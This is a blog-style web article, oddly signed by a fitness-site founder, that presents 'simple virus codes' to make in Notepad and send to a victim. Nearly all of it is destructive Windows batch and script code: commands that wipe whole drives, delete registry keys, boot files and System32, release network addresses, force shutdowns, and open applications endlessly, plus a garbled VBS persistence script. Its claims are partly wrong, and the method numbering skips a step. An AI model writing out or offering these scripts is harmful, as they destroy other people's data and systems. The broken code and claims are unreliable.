A virus is a computer program that can replicate and spread from one computer to another. They can be very harmful to your computer and cause a lot of problems. They are also a huge concern because they can be used to steal information like passwords and personal information.

There are a lot of different types of viruses, but the most common ones are worms, trojans, and adware. Adware: Adware is a type of computer virus that is used to display advertising on your computer. Trojans: Trojans are malicious software that hides itself in other pieces of software. Worms: Worms are also malicious software that injects itself into other pieces of software.

Also Read-How Utilizing Technology Could Ease Senior Care at Home


A computer virus is a malicious software program that loads onto a user’s computer without the user’s knowledge and performs malicious actions. Viruses and malware are very harmful to your computer. Here are some simple virus codes you can create with Notepad.

Note: This Is For Educational Purposes Only. Please Don’t Try This On Your Own Computer.

Method 1: Create Virus for Delete All Files and Registry !

Just open your notepad
1) Click start -> all programs -> accessories -> notepad
2) Or just press or click the windows key + r:: the run window will open and
type notepad and hit enter.


@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q

Then save it as kinng.bat and the batch file is created.
WARNING:: This is the most dangerous virus! Be careful with its use.

Delete the entire registry

START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

Now save it as kinng.bat and the batch file is created.

Method 2: How to Crash a Pc Forever!

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shut down the person’s computer. It shuts it off once and deletes the files needed to reboot and restart.

Method 3: How to Stop Someone’s Internet Access !

@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They’re IP address will be lost, and therefore they won’t be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

Method 4: ShutDown PC a Million Times!

  1. Right-Click on The Desktop.
  2. Click Shortcut.
  3. You Will Get a Dialogue Box, Write in It: Shutdown -S -T 1000 C “any Comment U Want” Then Press Next
    Note: This “1000” I Wrote Is the Time in Seconds Needed for Ur Computer to Shut Down,u Can Put Any Number U Want.
  4. You Will Get Another Dialogue Box, Write in It: Internet Explorer and Press Finish.
  5. You Will Find the Icon on Ur Desktop, Don’t Open It, Just Right-Click on It and Press Properties>change Icon>select the Icon the Internet Explorer and Press Apply Then Ok.
  6. Try to Open It, It Is a Virus Hehe.
  7. Ps: The Only Way 2 Stop Ur Computer from Shutting Down Is to Go 2 Start>run>type: Shutdown -A

Method 5: Delete System 32 Folder to Crash Windows

Open Notepad
Write / copy the below command there:
” del c:\WINDOWS\system32\*.*/q ” without quote
and save as ” anything.bat”
Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started.

Method 6: How To Create Virus to Format the C,D, and E Drive in 3 Seconds.

Open Notepad
Copy the below command there
“rd/s/q D:\
rd/s/q C:\
rd/s/q E:\” ( without quotes )
Save as “anything.bat
This virus Formats the C ,D , and E Drive in 3 Seconds.

Method 7: Virus that Logs User out At Every Start Up:

set ws=createobject(“”)
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strlog=”shutdown -l”

set obfso=CreateObject(“Scripting.FileSystemObject”)
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline(“set ws=createobject(“&st&strshell&st&”)”)
ws.regwrite “HKCUSoftwareMicrosoftWindowsCurrentVersionRunLogoff”,”C:WINDOWSwscript.vbs”,”REG_SZ”

Method 9: Virus to Shutdown Pc with Message

Convey your friend a little message and shut down his / her computer:
@echo off
msg * I don’t like you
shutdown -c “Error! You are too stupid!” -s

Save it as “Anything.BAT” in All Files and send it.

Method 10 : Virus for Application Bomber

@echo off start winword start mspaint start notepad start write start cmd start explorer start control start calc goto x

Function- Once executed, it will start to open different applications repeatedly which will affect the system’s performance. You can also add applications what ever you want .


Hi there!I'm C.K. Gupta, the founder and head writer at With a passion for health and wellness, I created FitnTip to share practical, science-backed advice to help you achieve your fitness goals.Over the years, I've curated valuable information from trusted resources on topics like nutrition, exercise, weight loss, and overall well-being. My aim is to distill this knowledge into easy-to-understand tips and strategies you can implement in your daily life.Whether you're looking to get in shape, eat healthier, or simply feel your best, FitnTip is here to support and guide you. I believe that everyone has the potential to transform their health through sustainable lifestyle changes.When I'm not researching the latest health trends or writing for FitnTip, you can find me trying out new fitness routines, experimenting with nutritious recipes, and spending quality time with loved ones.I'm excited to have you join our community as we embark on this wellness journey together. Let's make positive, lasting changes and unlock a healthier, happier you!

Related Articles

Back to top button